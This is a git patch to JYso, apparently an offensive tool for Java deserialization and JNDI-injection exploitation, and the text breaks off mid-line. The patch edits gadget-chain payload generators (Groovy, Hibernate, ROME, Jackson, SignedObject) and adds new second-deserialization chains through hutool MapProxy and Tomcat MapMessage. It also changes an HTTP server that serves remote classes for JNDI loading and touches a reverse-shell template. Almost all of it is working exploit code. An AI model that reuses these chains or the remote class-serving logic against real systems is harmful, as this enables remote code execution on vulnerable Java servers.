From 35be9093fd6d61fe9e3b7c944a4a734dba0e5c33 Mon Sep 17 00:00:00 2001 From: qi4l Date: Thu, 26 Mar 2026 17:57:55 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E5=BE=88=E5=A4=9A?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- build.gradle | 2 +- src/main/java/com/qi4l/JYso/HTTPServer.java | 59 +- src/main/java/com/qi4l/JYso/TLSProxy.java | 2 +- .../JYso/controllers/BasicController.java | 5 +- .../com/qi4l/JYso/gadgets/Config/Config.java | 24 +- .../JYso/gadgets/Config/HookPointConfig.java | 4 +- .../java/com/qi4l/JYso/gadgets/Groovy1.java | 4 +- .../com/qi4l/JYso/gadgets/Hibernate1.java | 6 +- .../java/com/qi4l/JYso/gadgets/JRE8u20_2.java | 4 +- .../java/com/qi4l/JYso/gadgets/JSON1.java | 7 +- .../java/com/qi4l/JYso/gadgets/Jackson3.java | 35 ++ .../com/qi4l/JYso/gadgets/Jdk7u21variant.java | 4 +- .../java/com/qi4l/JYso/gadgets/Myfaces1.java | 4 +- src/main/java/com/qi4l/JYso/gadgets/ROME.java | 4 +- .../java/com/qi4l/JYso/gadgets/ROME2.java | 4 +- .../com/qi4l/JYso/gadgets/SignedObject.java | 126 +++-- .../java/com/qi4l/JYso/gadgets/Spring1.java | 3 +- .../java/com/qi4l/JYso/gadgets/Spring2.java | 3 +- .../java/com/qi4l/JYso/gadgets/URLDNS.java | 519 ++++++++++++++---- .../qi4l/JYso/gadgets/UnixPrintService.java | 17 + .../JYso/gadgets/UnixPrintServiceLookup.java | 20 + .../com/qi4l/JYso/gadgets/utils/ByteUtil.java | 56 -- .../com/qi4l/JYso/gadgets/utils/Cache.java | 54 -- .../JYso/gadgets/utils/ClassByteChange.java | 22 +- .../JYso/gadgets/utils/ClassNameUtils.java | 88 --- .../com/qi4l/JYso/gadgets/utils/Gadgets.java | 176 +++--- .../com/qi4l/JYso/gadgets/utils/HexUtils.java | 12 +- .../com/qi4l/JYso/gadgets/utils/InjShell.java | 3 +- .../qi4l/JYso/gadgets/utils/JavaVersion.java | 4 +- .../JYso/gadgets/utils/MyURLClassLoader.java | 48 -- .../qi4l/JYso/gadgets/utils/Reflections.java | 4 +- .../qi4l/JYso/gadgets/utils/Serializer.java | 160 +++--- .../qi4l/JYso/gadgets/utils/StringUtil.java | 6 +- .../gadgets/utils/ThirdLibsClassLoader.java | 153 ++++++ .../com/qi4l/JYso/gadgets/utils/Utils.java | 3 +- .../utils/beanshell/BeanShellUtil.java | 4 +- .../gadgets/utils/cc/TransformerUtil.java | 18 +- .../gadgets/utils/clojure/ClojureUtil.java | 4 +- .../gadgets/utils/dirty/DirtyDataWrapper.java | 16 +- .../utils/handle/ClassFieldHandler.java | 21 +- .../utils/handle/ClassMethodHandler.java | 7 +- .../utils/handle/ClassNameHandler.java | 2 +- .../gadgets/utils/handle/GlassHandler.java | 54 +- .../JYso/gadgets/utils/jdbc/jdbcutils.java | 20 - .../qi4l/JYso/gadgets/utils/jdk17Bypass.java | 29 +- .../gadgets/utils/jre/HandleContainer.java | 28 +- .../JYso/gadgets/utils/jre/Serialization.java | 38 +- .../JYso/gadgets/utils/jre/TCBlockData.java | 20 +- .../JYso/gadgets/utils/jre/TCClassDesc.java | 49 +- .../JYso/gadgets/utils/jre/TCJavaObject.java | 9 +- .../qi4l/JYso/gadgets/utils/jre/TCNull.java | 9 - .../qi4l/JYso/gadgets/utils/jre/TCObject.java | 43 +- .../gadgets/utils/jre/TCProxyClassDesc.java | 7 +- .../JYso/gadgets/utils/jre/TCReference.java | 2 +- .../qi4l/JYso/gadgets/utils/jre/TCString.java | 4 +- .../com/qi4l/JYso/gadgets/utils/jre/Util.java | 11 +- .../utf8OverlongEncoding/UTF8BytesMix.java | 301 ---------- .../UTF8OverlongObjectOutputStream.java | 10 +- .../qi4l/JYso/template/CommandTemplate.java | 145 ----- .../qi4l/JYso/template/DnslogTemplate.java | 134 ----- .../JYso/template/ReverseShellTemplate.java | 3 +- 61 files changed, 1127 insertions(+), 1506 deletions(-) create mode 100644 src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java create mode 100644 src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java delete mode 100644 src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java delete mode 100644 src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java delete mode 100644 src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java create mode 100644 src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java delete mode 100644 src/main/java/com/qi4l/JYso/gadgets/utils/jdbc/jdbcutils.java delete mode 100644 src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCNull.java delete mode 100644 src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.java delete mode 100644 src/main/java/com/qi4l/JYso/template/CommandTemplate.java delete mode 100644 src/main/java/com/qi4l/JYso/template/DnslogTemplate.java diff --git a/build.gradle b/build.gradle index e218fc3..e725ba5 100644 --- a/build.gradle +++ b/build.gradle @@ -127,7 +127,7 @@ dependencies { group = 'org.example' -version = '1.3.6.1' +version = '1.3.7' description = 'JYso' java.sourceCompatibility = JavaVersion.VERSION_1_8 diff --git a/src/main/java/com/qi4l/JYso/HTTPServer.java b/src/main/java/com/qi4l/JYso/HTTPServer.java index 973b7e2..484b8dc 100644 --- a/src/main/java/com/qi4l/JYso/HTTPServer.java +++ b/src/main/java/com/qi4l/JYso/HTTPServer.java @@ -2,10 +2,7 @@ package com.qi4l.JYso; import cn.hutool.core.io.file.FileReader; import com.qi4l.JYso.gadgets.Config.Config; -import com.qi4l.JYso.gadgets.utils.Cache; import com.qi4l.JYso.gadgets.utils.Utils; -import com.qi4l.JYso.template.CommandTemplate; -import com.qi4l.JYso.template.DnslogTemplate; import com.qi4l.JYso.template.ReverseShellTemplate; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; @@ -438,32 +435,26 @@ public class HTTPServer { String path = exchange.getRequestURI().getPath(); String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); - if (Cache.contains(className)) { - System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); - byte[] bytes = Cache.get(className); - exchange.sendResponseHeaders(200, bytes.length); - exchange.getResponseBody().write(bytes); - } else { - String pa = cwd + path; - File file = new File(pa); + String pa = cwd + path; + File file = new File(pa); - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length()); - exchange.getResponseBody().write(bytes); - - System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200)); - System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length()); + exchange.getResponseBody().write(bytes); + + System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200)); + System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); } + exchange.close(); } @@ -556,24 +547,11 @@ public class HTTPServer { return params; } - /* - 由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功 - 这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题 - 目前暂时认为其不会有问题,如果有问题,后面再修改 - */ private static String createJar(String type, String... params) throws Exception { byte[] bytes; String className = "xExportObject"; switch (type.toLowerCase()) { - case "command": - CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject"); - bytes = commandTemplate.getBytes(); - break; - case "dnslog": - DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject"); - bytes = dnslogTemplate.getBytes(); - break; case "reverseshell": ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject"); bytes = reverseShellTemplate.getBytes(); @@ -598,9 +576,6 @@ public class HTTPServer { jarOut.close(); bout.close(); - String jarName = Utils.getRandomString(); - Cache.set(jarName, bout.toByteArray()); - - return jarName; + return Utils.getRandomString(); } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/TLSProxy.java b/src/main/java/com/qi4l/JYso/TLSProxy.java index 711c129..f48b6c7 100644 --- a/src/main/java/com/qi4l/JYso/TLSProxy.java +++ b/src/main/java/com/qi4l/JYso/TLSProxy.java @@ -31,7 +31,7 @@ public class TLSProxy { public static void start() { System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "...")); - new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyPass).run(); + new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapsPort, Config.certFile, Config.keyPass).run(); } public void run() { diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index beb4d5d..b163587 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -8,7 +8,6 @@ import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.InjShell; import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; -import com.qi4l.JYso.template.CommandTemplate; import com.qi4l.JYso.template.echoStatic.Meterpreter; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; @@ -111,9 +110,7 @@ public class BasicController implements LdapController { if (params.length == 0) { throw new IncorrectParamsException("Missing command parameters."); } - CommandTemplate commandTemplate = new CommandTemplate(params[0]); - commandTemplate.cache(); - return commandTemplate.getClassName(); + // 待写 } if (payloadType.contains("msf")) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index 1133354..c6df985 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -3,7 +3,6 @@ package com.qi4l.JYso.gadgets.Config; import com.beust.jcommander.JCommander; import com.beust.jcommander.Parameter; import com.beust.jcommander.UnixStyleUsageFormatter; -import com.qi4l.JYso.Starter; import com.qi4l.JYso.gadgets.ObjectPayload; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; @@ -85,12 +84,6 @@ public class Config { public static String PASSWORD_ORI = "p@ssw0rd"; // 命令执行回显时,传递执行命令的 Header 头 public static String CMD_HEADER_STRING = "X-Token-Data"; - //内存马的类型 - public static String Shell_Type = "bx"; - //是否使用windows下Agent写入 - public static Boolean winAgent = false; - //是否使用Linux下Agent写入 - public static Boolean linAgent = false; // 是否在序列化数据流中的 TC_RESET 中填充脏数据 public static Boolean IS_DIRTY_IN_TC_RESET = false; public static Boolean IS_UTF_Bypass = false; @@ -106,9 +99,6 @@ public class Config { // 填充的脏数据长度 public static int DIRTY_LENGTH_IN_TC_RESET = 0; - // 是否使用UTF-8 Overlong Encoding Bypass waf - // jboss - public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false; // DefineClassFromParameter 的路径 public static String PARAMETER = "dc"; // 将输入直接写在文件里 @@ -159,14 +149,14 @@ public class Config { } if (showGadgets) { - final List> payloadClasses = - new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); - Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize + final List>> payloadClasses = + new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); + payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize - final List rows = new LinkedList(); + final List rows = new LinkedList<>(); rows.add(new String[]{"Payload", "Authors", "Dependencies"}); rows.add(new String[]{"-------", "-------", "------------"}); - for (Class payloadClass : payloadClasses) { + for (Class> payloadClass : payloadClasses) { rows.add(new String[]{ payloadClass.getSimpleName(), StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), @@ -188,7 +178,6 @@ public class Config { } //获取当前 Jar 的名称 - String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath(); jc.setProgramName("java -jar JYso.jar"); jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); @@ -219,8 +208,7 @@ public class Config { } public static void logo() { - String logo = "" + - " ┏┳┓┏ \n" + + String logo = " ┏┳┓┏ \n" + " ┃┗┫┏┏┓ \n" + " ┗┛┗┛┛┗┛ "; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java b/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java index 4071d0c..b825766 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/HookPointConfig.java @@ -4,9 +4,9 @@ import java.util.ArrayList; public class HookPointConfig { - public static ArrayList BasicServletHook = new ArrayList(); + public static ArrayList BasicServletHook = new ArrayList<>(); - public static ArrayList TomcatFilterChainHook = new ArrayList(); + public static ArrayList TomcatFilterChainHook = new ArrayList<>(); static { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java index aa084a8..7e589eb 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java @@ -9,6 +9,8 @@ import org.codehaus.groovy.runtime.MethodClosure; import java.lang.reflect.InvocationHandler; import java.util.Map; +import static com.qi4l.JYso.gadgets.JDKUtil.createProxy; + /** * Gadget chain: * ObjectInputStream.readObject() @@ -29,7 +31,7 @@ public class Groovy1 implements ObjectPayload { public InvocationHandler getObject(String command) throws Exception { final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); - final Map map = Gadgets.createProxy(closure, Map.class); + final Map map = createProxy(closure, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); return handler; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java index 8700d95..a37876d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java @@ -19,6 +19,8 @@ import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; +import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; + /** * org.hibernate.property.access.spi.GetterMethodImpl.get() @@ -126,7 +128,7 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { Reflections.setFieldValue(v2, "value", tpl); Reflections.setFieldValue(v2, "type", t); - return Gadgets.makeMap(v1, v2); + return makeMap(v1, v2); } static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, @@ -159,7 +161,7 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { Reflections.setFieldValue(v2, "value", tpl); Reflections.setFieldValue(v2, "type", t); - return Gadgets.makeMap(v1, v2); + return makeMap(v1, v2); } public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java index f3d9935..2005e6a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java @@ -16,6 +16,8 @@ import java.util.HashMap; import java.util.LinkedHashSet; import java.util.Map; +import static com.qi4l.JYso.gadgets.JDKUtil.createProxy; + public class JRE8u20_2 implements ObjectPayload { public static Class newInvocationHandlerClass() throws Exception { @@ -41,7 +43,7 @@ public class JRE8u20_2 implements ObjectPayload { InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); Reflections.setFieldValue(ih, "type", Templates.class); - Templates proxy = Gadgets.createProxy(ih, Templates.class); + Templates proxy = createProxy(ih, Templates.class); BeanContextSupport b = new BeanContextSupport(); Reflections.setFieldValue(b, "serializable", 1); diff --git a/src/main/java/com/qi4l/JYso/gadgets/JSON1.java b/src/main/java/com/qi4l/JYso/gadgets/JSON1.java index fcd6d73..f492e4c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JSON1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JSON1.java @@ -13,6 +13,9 @@ import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; +import static com.qi4l.JYso.gadgets.JDKUtil.createProxy; +import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; + /** * A bit more convoluted example @@ -76,7 +79,7 @@ public class JSON1 implements ObjectPayload { InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); - final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); + final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces); JSONObject jo = new JSONObject(); Map m = new HashMap(); @@ -85,6 +88,6 @@ public class JSON1 implements ObjectPayload { Reflections.setFieldValue(jo, "properties", m); Reflections.setFieldValue(t1, "dataMap", jo); Reflections.setFieldValue(t2, "dataMap", jo); - return Gadgets.makeMap(t1, t2); + return makeMap(t1, t2); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index 1d1df96..398b093 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -5,12 +5,14 @@ import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import com.qi4l.JYso.gadgets.utils.ThirdLibsClassLoader; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisorChainFactory; +import javax.sql.DataSource; import javax.xml.transform.Templates; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; @@ -48,6 +50,39 @@ public class Jackson3 implements ObjectPayload { return proxy; } + public static Object makeDatasourceAopProxy(Object templatesImpl) throws Exception { + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(templatesImpl); + + //<=6.0.23为6115154060221772279 + //>=6.1.0 为273003553246259276 + String sUID = "273003553246259276"; + CtClass ctDefaultAdvisorChainFactory = insertField( + "org.springframework.aop.framework.DefaultAdvisorChainFactory", + "private static final long serialVersionUID = " + sUID + "L;"); + + Object ctFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance(); + advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory); + + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); + constructor.setAccessible(true); + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{DataSource.class}, handler); + return proxy; + } + + public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception { + Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject); + Class advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName); + Object advisedSupport = advisedSupportClazz.newInstance(); + advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource); + Constructor constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz); + constructor.setAccessible(true); + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{superClass}, handler); + return proxy; + } + public static Object getEventListenerList(Object obj) throws Exception { //>=6.1.0 为-7977902244297240866 //<=6.0.23为-5677132037850737084 diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java index c040f48..3107062 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java @@ -10,6 +10,8 @@ import java.rmi.MarshalledObject; import java.util.HashMap; import java.util.LinkedHashSet; +import static com.qi4l.JYso.gadgets.JDKUtil.createProxy; + @Authors({"potats0"}) public class Jdk7u21variant implements ObjectPayload { @@ -24,7 +26,7 @@ public class Jdk7u21variant implements ObjectPayload { InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); - Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + Templates proxy = createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); set.add(templates); diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java index ce2ac39..1eea241 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java @@ -17,6 +17,8 @@ import javax.servlet.ServletContext; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; +import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; + /** * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) @@ -72,7 +74,7 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); - return Gadgets.makeMap(e2, e); + return makeMap(e2, e); } @Override diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME.java b/src/main/java/com/qi4l/JYso/gadgets/ROME.java index 01740ae..141626e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME.java @@ -7,6 +7,8 @@ import com.sun.syndication.feed.impl.ObjectBean; import javax.xml.transform.Templates; +import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; + /** * TemplatesImpl.getOutputProperties() @@ -34,6 +36,6 @@ public class ROME implements ObjectPayload { templates = Gadgets.createTemplatesImpl(command); ObjectBean delegate = new ObjectBean(Templates.class, templates); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); - return Gadgets.makeMap(root, root); + return makeMap(root, root); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME2.java b/src/main/java/com/qi4l/JYso/gadgets/ROME2.java index cec2ce6..fe6fadb 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/ROME2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME2.java @@ -8,6 +8,8 @@ import com.sun.syndication.feed.impl.EqualsBean; import javax.xml.transform.Templates; import java.util.Map; +import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; + @Dependencies("rome:rome:1.0") public class ROME2 implements ObjectPayload { @@ -28,7 +30,7 @@ public class ROME2 implements ObjectPayload { Reflections.setFieldValue(bean, "_beanClass", Templates.class); Reflections.setFieldValue(bean, "_obj", o); - return Gadgets.makeMap(map1, map2); + return makeMap(map1, map2); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java index f8d9b00..5081f7a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/SignedObject.java @@ -1,5 +1,6 @@ package com.qi4l.JYso.gadgets; +import cn.hutool.core.comparator.PropertyComparator; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.SignedObjectUtils; @@ -16,15 +17,18 @@ import org.mozilla.javascript.*; import org.mozilla.javascript.tools.shell.Environment; import org.springframework.beans.factory.ObjectFactory; +import java.awt.*; import java.io.ObjectOutputStream; import java.io.Serializable; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Method; -import java.lang.reflect.Type; +import java.lang.reflect.*; import java.math.BigInteger; import java.util.*; +import static com.qi4l.JYso.gadgets.JDKUtil.createProxy; +import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; +import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; +import static com.qi4l.JYso.gadgets.utils.Serializer.serialize; import static java.lang.Class.forName; /** @@ -37,10 +41,12 @@ import static java.lang.Class.forName; * 4. ToStringBean 调用全部 getter 方法(依赖 Rome) * 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core) * 6. MemberBox 反射调用任意方法(依赖 rhino) + * 7. hutool.MapProxy 二次反序列化 + * 8. MapMessage 二次反序列化 *

* 利用方式: - * SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:10000' - * + * SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' + * 最后2个类型是脏数据类型和长度,为0则不混淆 * @author QI4L */ public class SignedObject implements ObjectPayload { @@ -68,6 +74,10 @@ public class SignedObject implements ObjectPayload { return getSignedObjectWithSpring(object); case "cc4": return getSignedObjectWithCC4(object); + case "cu": + return getHutoolMapProxy(object); + case "mm": + return getMapMessage(object); case "cc": default: return getSignedObjectWithCCNoArray(object); @@ -86,8 +96,8 @@ public class SignedObject implements ObjectPayload { String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command); - final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); - ObjectPayload payload = payloadClass.newInstance(); + final Class> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + ObjectPayload payload = payloadClass.newInstance(); Object object = payload.getObject(realCmd); if (args.length >= 3) { @@ -99,20 +109,55 @@ public class SignedObject implements ObjectPayload { return object; } + // MapMessage二次反序列化 + public Object getMapMessage(Object serObj) throws Exception { + Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage"); + Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj)); + + PriorityQueue queue = new PriorityQueue<>(2); + queue.add(1); + queue.add(1); + + Object[] objects = (Object[]) getFieldValue(queue, "queue"); + objects[1] = mapMessage; + + Comparator comparator = new PropertyComparator<>("getKey"); + setFieldValue(queue, "comparator", comparator); + return queue; + } + + // hutool.MapProxy 二次反序列化 + public Object getHutoolMapProxy(Object serObj) throws Exception { + HashMap map = new HashMap<>(); + map.put("bounds", serialize(serObj)); + cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map); + Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy); + + PriorityQueue queue = new PriorityQueue<>(2); + queue.add(1); + queue.add(1); + + Object[] objects = (Object[]) getFieldValue(queue, "queue"); + objects[1] = proxy; + + Comparator comparator = new PropertyComparator<>("bounds"); + setFieldValue(queue, "comparator", comparator); + return queue; + } // CC 无数组二次反序列化 public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - Map old = new HashMap(); + Map old = new HashMap<>(); Transformer invoke = new InvokerTransformer("toString", null, null); - Map newMap = LazyMap.decorate(old, invoke); + Map newMap = LazyMap.decorate(old, invoke); TiedMapEntry entry = new TiedMapEntry(newMap, obj); - Map ht = new HashMap(); + Map ht = new HashMap<>(); ht.put(entry, obj); newMap.remove(obj); - Reflections.setFieldValue(invoke, "iMethodName", "getObject"); + setFieldValue(invoke, "iMethodName", "getObject"); return ht; } @@ -120,26 +165,25 @@ public class SignedObject implements ObjectPayload { public Object getSignedObjectWithCC4(Object serObj) throws Exception { Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); - org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer("toString", new Class[0], new Object[0]); - TransformingComparator comp = new TransformingComparator((org.apache.commons.collections4.Transformer) transformer); - TreeBag tree = new TreeBag((Comparator) comp); + org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator<>(transformer); + TreeBag tree = new TreeBag<>((Comparator) comp); tree.add(obj); - Reflections.setFieldValue(transformer, "iMethodName", 